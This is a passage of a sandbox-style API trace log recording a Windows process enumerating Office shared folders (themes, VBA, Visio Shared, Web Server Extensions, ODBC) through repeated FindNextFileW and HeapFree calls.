	[0173.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.380] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0173.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.380] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0173.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.380] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0173.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.381] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0173.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.381] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0173.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.382] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1
	[0173.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.382] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0173.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.382] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0173.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.383] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0173.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.383] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0173.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.384] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0173.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.384] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0173.385] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.385] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0173.385] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.385] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0173.385] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.385] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0173.386] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0173.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.386] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0173.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.386] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0173.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.386] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0173.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.387] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1
	[0173.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.387] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0173.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.387] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0173.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.388] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0173.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.388] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0173.388] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0173.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.388] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0173.391] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.391] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0173.391] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0173.391] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.391] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0173.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0173.393] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0173.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.393] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0173.393] FindClose (in: hFindFile=0x76f528 | out: hFindFile=0x76f528) returned 1
	[0173.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.393] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0173.393] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0173.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.460] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0173.460] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0173.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.461] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1
	[0173.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.461] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0
	[0173.461] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0173.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.461] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1
	[0173.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.462] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0173.462] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0173.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.463] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1
	[0173.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.463] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0173.463] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0173.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.463] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0
	[0173.463] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0173.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4175ba0 | out: hHeap=0x710000) returned 1
